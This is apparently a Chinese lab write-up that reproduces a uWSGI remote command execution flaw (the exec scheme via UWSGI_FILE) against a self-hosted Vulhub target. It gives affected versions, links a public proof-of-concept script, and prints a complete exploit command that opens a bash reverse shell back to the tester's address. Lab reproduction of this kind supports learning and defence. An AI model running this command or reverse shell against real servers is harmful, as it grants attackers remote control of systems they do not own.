郑重声明:所用漏洞环境为自建虚拟机vulnhub靶机环境,仅供本人学习使用。
漏洞简述
uWSGI是一个经常被使用的应用容器,通常情况下由于WSGI是Python实现的标准,所以uWSGI经常作为Python应用容器启动。但实际上uWSGI同样也支持加载Perl/Ruby/Go等应用。uWSGI程序中默认注册了一系列schemes,其中很多都是危险协议,尤其注意到其中有exec协议,可以直接通过刚才的UWSGI_FILE变量传参,导致远程执行系统命令。
影响版本:uWSGI 1.9及以上(官方在3.0开发版中修复了这个问题,不受到影响)
准备环境
测试机IP:192.168.79.129
靶机IP:192.168.79.131
1. 启动Vulnhub靶机环境:
2. 验证靶机应用启用成功:
uwsgi版本:2.0.17
漏洞复现
POC 引用:https://github.com/wofeiwo/webcgi-exploits/blob/master/python/uwsgi_exp.py
1. 使用NC侦听反弹端口
python exploit.py -u 192.168.79.131:8000 -c "/bin/bash -c 'bash -i >& /dev/tcp/192.168.79.129/4444 0>&1'"
2. 执行POC脚本
3.得到反弹Shell
网友评论